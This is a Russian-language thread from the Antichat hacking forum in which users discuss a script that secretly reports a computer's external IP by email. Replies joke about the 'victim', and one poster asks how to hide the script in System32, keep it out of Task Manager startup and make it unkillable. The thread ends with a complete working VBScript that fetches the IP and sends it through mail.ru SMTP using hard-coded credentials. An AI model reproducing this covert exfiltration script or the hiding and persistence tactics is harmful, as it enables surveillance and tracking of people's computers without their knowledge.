ANTICHAT - Подскажите как написать батник для отправки ip на электронную почту

ANTICHAT (https://forum.antichat.xyz/index.php)

- Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)

Бери пример с Бабадука, тот не верит никому

Цитата:

Сообщение от Payer

↑
Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.

Молодой ещё. Отсидит с наше поймёт что к чему.

Цитата:

Сообщение от BabaDook

↑
Молодой ещё. Отсидит с наше поймёт что к чему.

а может я уже заранее команду набираю, а ?

Цитата:

Сообщение от ComradKraken

↑
а может я уже заранее команду набираю, а ?

Да не, причём тут команда, просто. Ну если я даже объясню вы не поймёте, должно пройти время. предлагаю через год вернутся к этой теме

ComradKraken: Сразу извиняюсь за надоевшую тему.. Продолжение к теме..как я и спрашивал ранее как (где,в какой папке...может system 32) можно спрятать данный скрипт чтобы он не палился в диспетчере задач (в частности в разделе автозагрузка). Может батник написать который будет цеплять данный скрипт при каждом включении компьютера ..https://drive.google.com/file/d/0Byb...ew?usp=sharing Или же на крайний случай (если не реально с прятать в другую папку ..) сделать не убиваемым (без возможности выключение данного скрипта в диспетчере задач/автозагрузка).

1)Эти твои вопросы уже немного не по теме, сам понимаешь скрипт для отправки тебе опубликовали

Цитата:

Сообщение от kurt135

↑
ак (где,в какой папке...может system 32) можно спрятать данный скрипт чтобы он не палился в диспетчере задач (в частности в разделе автозагрузка).

Цитата:

Сообщение от kurt135

↑
Или же на крайний случай (если не реально с прятать в другую папку ..) сделать не убиваемым (без возможности выключение данного скрипта в диспетчере задач/автозагрузка)

2)ты сам пойми, что эти темы тебе пока недоступны, до тех пор пока ты не начнёшь последовательно и методично заниматься самообучением по тематике,

сейчас много инфы в книгах, статьях, даже видео.

Задавай лучше вопросы по типу "что прочесть", "где описано", "с чего начать"

ЗЫ:

ибо "Многие вещи нам непонятны не потому, что наши понятия слабы; но потому, что сии вещи не входят в круг наших понятий" (с) Козьма Прутков

Скажите какой рукой подтиратся? Левой или правой? Извиняюсь за надоедание... )))

Kevin Shindel:Ты это кому ? Дурик

Цитата:

Сообщение от Kevin Shindel

Kevin Shindel said:
↑
Скажите какой рукой подтиратся? Левой или правой? Извиняюсь за надоедание... )))

первой рукой , я так всегда делаю

Цитата:

Сообщение от kurt135

↑
Kevin Shindel
:Ты это кому ? Дурик

Я сообществу Античата, а почему мы перешли на личности? Я вас не обзывал...

Kevin Shindel: Да ладно я думал мне..

Цитата:

Сообщение от BabaDook

↑
первой рукой , я так всегда делаю

http://i.imgur.com/QIgEYaS.jpg

ComradKraken:Добрый вечер(С наступишим новым годом). Подскажите,что случилось с вашим скриптом (улыбнуло) ОН ПЕРЕСТАЛ РАБОТАТЬ (ВЫДАЕТ ОШИБКУ) В чем может быть проблема ?https://drive.google.com/file/d/0Byb...ew?usp=sharing

Цитата:

Сообщение от ComradKraken

↑

Код:

Dim o

Dim res

Set o = CreateObject("Microsoft.XMLHTTP")

o.open "GET", "http://icanhazip.com", False

o.send

res = o.responseText



Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки

Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки

Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"     '  сюда адрес почты куда получать ип собрался



Set emailObj      = CreateObject("CDO.Message")



Set emailConfig = emailObj.Configuration

'Set emailConfig  = CreateObject("CDO.Configuration")



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd



emailObj.From     = RemoteSenderBoxName

emailObj.To       = MailReceiver



emailObj.Subject  = "ip addr"

emailObj.TextBody = res



emailConfig.Fields.Update



emailObj.Send

этот vbs вернет внешний IP

Этот код выдаёть ошибку